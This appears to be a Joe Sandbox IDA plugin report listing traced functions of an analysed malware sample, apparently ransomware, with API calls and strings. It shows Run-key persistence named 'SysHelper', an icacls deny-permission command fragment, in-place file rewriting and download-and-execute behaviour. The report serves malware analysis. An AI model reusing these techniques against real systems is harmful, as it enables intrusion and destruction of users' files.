Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 0020aaaefdb6c4dcb4bf3e2ceb4008ce88efa9caebdce230c40b083e7cee562a
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 0020aaaefdb6c4dcb4bf3e2ceb4008ce88efa9caebdce230c40b083e7cee562a
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00820000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 19726536d61e2c547f0d943dc03bf4c213046569c0fbc079e5343f8099df6f48
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 19726536d61e2c547f0d943dc03bf4c213046569c0fbc079e5343f8099df6f48
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SysHelper, xrefs: 00411D5B, 004120EB
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 00411DD1
D, xrefs: 00412128
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 004120C2
SHGetFolderPathW, xrefs: 00411E9F
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
icacls ", xrefs: 0041214C

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 4e4c5458700c2d91c1caac65c9a4d10db194b09c72ae55d3a0619c707741ebf1
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 4e4c5458700c2d91c1caac65c9a4d10db194b09c72ae55d3a0619c707741ebf1
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 7ec433e08a36a6470a7b9bc9f3a0f8318749acc6aea549e1246d515d818a3658
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 7ec433e08a36a6470a7b9bc9f3a0f8318749acc6aea549e1246d515d818a3658
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

$run, xrefs: 0041DEAB
Microsoft Internet Explorer, xrefs: 0041DEF7
Shell32.dll, xrefs: 0041DCF0
.bit/, xrefs: 0041DF45
SHGetFolderPathA, xrefs: 0041DCFB

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: b626f5fa082728b540c4cb2129dba5a5d5ea44392957c62f5f9f4aea32e461a0
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: b626f5fa082728b540c4cb2129dba5a5d5ea44392957c62f5f9f4aea32e461a0
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcessModules, xrefs: 0041226C, 004122A1
EnumProcesses, xrefs: 00412264, 00412299

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: 9eda978a36bd331a35442c326cc7eedd0f3ce57e44005f4ee8209116ffba1faa
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: 9eda978a36bd331a35442c326cc7eedd0f3ce57e44005f4ee8209116ffba1faa
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 1874270bcf3063fa96f8a36292056b13920b5ad84aac0d493e36469cd0cc3cbd
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 1874270bcf3063fa96f8a36292056b13920b5ad84aac0d493e36469cd0cc3cbd
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

